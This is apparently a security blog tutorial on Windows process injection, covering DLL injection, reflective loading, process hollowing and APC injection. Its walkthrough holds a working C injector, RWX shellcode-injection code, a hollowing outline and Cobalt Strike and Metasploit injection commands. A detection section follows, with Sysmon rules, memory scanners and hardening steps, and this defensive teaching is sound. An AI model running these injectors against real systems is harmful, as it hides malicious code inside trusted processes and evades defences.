Process Injection Internals: DLL Injection, Reflective Loading, and Process Hollowing

Malware & C2
Time it takes to read this article 7 minutes.

Disclaimer: This article is for education and authorized security testing only. Run every technique described here exclusively on systems you own or are explicitly permitted to test. Using these methods against systems without written authorization is illegal in most jurisdictions.

Introduction / Overview

Process injection is the umbrella term for running attacker-controlled code inside the address space of another, usually trusted, process. Red teamers rely on it to evade application allow-listing, hide C2 beacons inside explorer.exe, and survive endpoint inspection that focuses on standalone binaries. Defenders need to understand the same primitives to write meaningful detections.

This post covers three families that map directly to MITRE ATT&CK T1055:

  • Classic DLL injection (T1055.001) — drop a DLL on disk and force a remote process to load it.
  • Reflective DLL injection — map a DLL from memory with no LoadLibrary and no disk footprint.
  • Process hollowing (T1055.012) — start a legitimate process suspended, gut its image, and replace it with a malicious one.

If you are coming from static analysis, my notes on Ghidra basics and Windows API hooking pair well with this material.

How it works / Background

Every classic technique is built from the same Win32 building blocks:

API Role
OpenProcess Get a handle with PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD
VirtualAllocEx Reserve and commit memory inside the remote process
WriteProcessMemory Copy the payload (DLL path or shellcode) into that allocation
CreateRemoteThread Spawn a thread in the remote process at a chosen start address

For DLL injection, the trick is that you do not write the whole DLL — you write the path string, then start a remote thread whose entry point is LoadLibraryA. Because kernel32.dll is mapped at the same base in every process on a given boot, the address of LoadLibraryA in your process equals its address in the target. The remote thread effectively runs LoadLibraryA("C:\\evil.dll").

Reflective injection removes the on-disk DLL and the LoadLibrary call. The payload itself contains a loader stub (Stephen Fewer's classic ReflectiveLoader export) that parses its own PE headers, allocates memory, resolves imports, applies base relocations, and calls DllMain — all from a buffer. The defender never sees a backing file for the executable region, which is a strong indicator on its own.

Process hollowing takes a different route. Instead of injecting into a running process, you create one with CreateProcessA(..., CREATE_SUSPENDED, ...), unmap its original image with NtUnmapViewOfSection (or ZwUnmapViewOfSection), write your own PE in its place, rewrite the entry point in the thread context with SetThreadContext, and ResumeThread. The process keeps its legitimate name and path on disk while executing foreign code.

A stealthier delivery for the thread is APC injection (T1055.004): instead of CreateRemoteThread, you queue an Asynchronous Procedure Call with QueueUserAPC against an existing alertable thread. When that thread enters an alertable wait, the APC fires your shellcode — no new thread is created, which sidesteps a common detection.

Prerequisites / Lab setup

  • A disposable Windows 10/11 VM, snapshot taken, no network bridge to production.
  • Visual Studio Build Tools or mingw-w64 for compiling PoCs.
  • Process Hacker or System Informer for live memory inspection.
  • Sysmon with a permissive config for telemetry (see the blue-team section).
# Quick environment check (run as a low-priv user first)
Get-Process notepad -ErrorAction SilentlyContinue
[System.Environment]::Is64BitProcess   # match your payload bitness to the target
PowerShell

Bitness must match. A 64-bit injector cannot trivially inject into a 32-bit (WOW64) process and vice versa.

Walkthrough / PoC

1. Classic DLL injection

A minimal injector in C. Error handling trimmed for clarity.

// inject.c — compile: cl inject.c
#include <windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
    DWORD pid = atoi(argv[1]);
    char* dll = argv[2];                       // full path to the DLL
    SIZE_T len = strlen(dll) + 1;

    HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    LPVOID rmt = VirtualAllocEx(h, NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(h, rmt, dll, len, NULL);

    // LoadLibraryA lives at the same address in the remote process
    LPVOID loadlib = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    HANDLE t = CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)loadlib, rmt, 0, NULL);

    WaitForSingleObject(t, INFINITE);
    printf("[+] Injected into PID %lu\n", pid);
    return 0;
}
C
# Build and fire
cl.exe inject.c
.\inject.exe 4321 C:\lab\payload.dll
PowerShell

You can do the same thing without writing code using the open-source loader collection:

# Linux build host targeting Windows, then run on the VM
# sRDI converts a DLL into position-independent shellcode for reflective use
python3 ConvertToShellcode.py payload.dll
Bash

2. Reflective DLL injection

Reflective DLLs export a ReflectiveLoader function. Tooling like sRDI (monoxgas/sRDI) wraps a normal DLL into self-loading shellcode, which you then inject as a raw buffer:

// Allocate RWX in the remote process and write the sRDI shellcode blob
LPVOID rmt = VirtualAllocEx(h, NULL, scLen,
                            MEM_COMMIT | MEM_RESERVE,
                            PAGE_EXECUTE_READWRITE);
WriteProcessMemory(h, rmt, shellcode, scLen, NULL);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)rmt, arg, 0, NULL);
C

The key difference from technique #1: the start address is the shellcode itself, and there is no LoadLibraryA, no DLL path string, and no module entry in the PEB loader list. That missing module entry is precisely what memory-scanning tools key on.

3. Process hollowing

The canonical sequence:

STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 1. read remote PEB to find image base
// 2. NtUnmapViewOfSection(pi.hProcess, imageBase);   // hollow it out
// 3. VirtualAllocEx at the preferred base, WriteProcessMemory the new PE + sections
// 4. GetThreadContext -> set Rcx/Eax to new entry point -> SetThreadContext
// 5. ResumeThread(pi.hThread);
C

In Process Hacker, a hollowed process betrays itself: the image path on disk no longer matches the bytes in memory, and the main module's memory protection is often RWX instead of the expected WCX (image-backed, copy-on-write).

For hands-on practice without writing everything from scratch, frameworks expose these directly:

# Cobalt Strike Beacon
beacon> inject 4321 x64 tcp-local        # CreateRemoteThread style
beacon> spawnto x64 %windir%\sysnative\dllhost.exe   # hollowing target

# Metasploit migrate uses CreateRemoteThread under the hood
meterpreter > migrate -N explorer.exe
Plaintext

Mermaid diagram

Process Injection Internals: DLL Injection, Reflective Loading, and Process Hollowing diagram 1

The diagram shows how the choice of disk footprint, process reuse, and thread creation steers an operator toward DLL injection, reflective loading, APC, or hollowing.

Detection & Defense (Blue Team)

Detection should weigh as heavily as the offense. The good news: each technique leaves residue.

1. Telemetry with Sysmon. Event ID 8 (CreateRemoteThread) and Event ID 10 (ProcessAccess) are the workhorses. Flag cross-process thread creation where the start address points into a non-image (private, executable) region:

<!-- sysmon config fragment -->
<RuleGroup groupRelation="or">
  <CreateRemoteThread onmatch="include">
    <SourceImage condition="end with">powershell.exe</SourceImage>
  </CreateRemoteThread>
  <ProcessAccess onmatch="include">
    <GrantedAccess condition="is">0x1F0FFF</GrantedAccess> <!-- PROCESS_ALL_ACCESS -->
  </ProcessAccess>
</RuleGroup>
XML

2. Memory scanning. Tools like Moneta, PE-sieve (hasherezade/pe-sieve), and Hollows Hunter detect the artifacts directly:

# Scan a suspect PID for unbacked executable memory and hollowing
.\pe-sieve64.exe /pid 4321 /shellc /imp 3

# Sweep the whole system continuously
.\hollows_hunter64.exe /loop /shellc
PowerShell

PE-sieve flags executable memory with no backing file (reflective/shellcode) and image regions whose in-memory bytes differ from disk (hollowing).

3. Hardening controls.

  • Microsoft-signed-only / Blocking untrusted images: enable ProcessMitigation so a protected process refuses non-Microsoft-signed DLLs.
    Set-ProcessMitigation -Name svchost.exe -Enable BlockNonMicrosoftBinaries
    PowerShell
  • Credential Guard / PPL protects LSASS from injection-based credential theft.
  • Attack Surface Reduction (ASR) rule "Block process creations originating from PSExec and WMI commands" and the LSASS-protection ASR rule cut common injection chains.
  • EDR with userland or kernel callbacks (ETW Threat Intelligence provider Microsoft-Windows-Threat-Intelligence) observes NtAllocateVirtualMemory, NtProtectVirtualMemory, and NtWriteVirtualMemory from the kernel, where userland API-hooking evasion does not help the attacker.

4. Behavioral heuristics worth alerting on: RWX private memory in a long-lived process, a thread whose start address is outside any module, NtUnmapViewOfSection against a freshly created suspended child, and a process whose MainModule.FileName bytes diverge from the mapped image.

Conclusion

DLL injection, reflective loading, and hollowing all rest on the same four-call backbone: allocate, write, point a thread (or APC) at the payload, and run. Reflective loading removes the disk and LoadLibrary tells; hollowing borrows a trusted identity. For defenders, the takeaway is that these techniques are observable at the kernel boundary — cross-process memory writes, unbacked executable pages, and disk/memory image mismatches are difficult to hide. Build detections around those invariants rather than chasing specific tools.

References

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL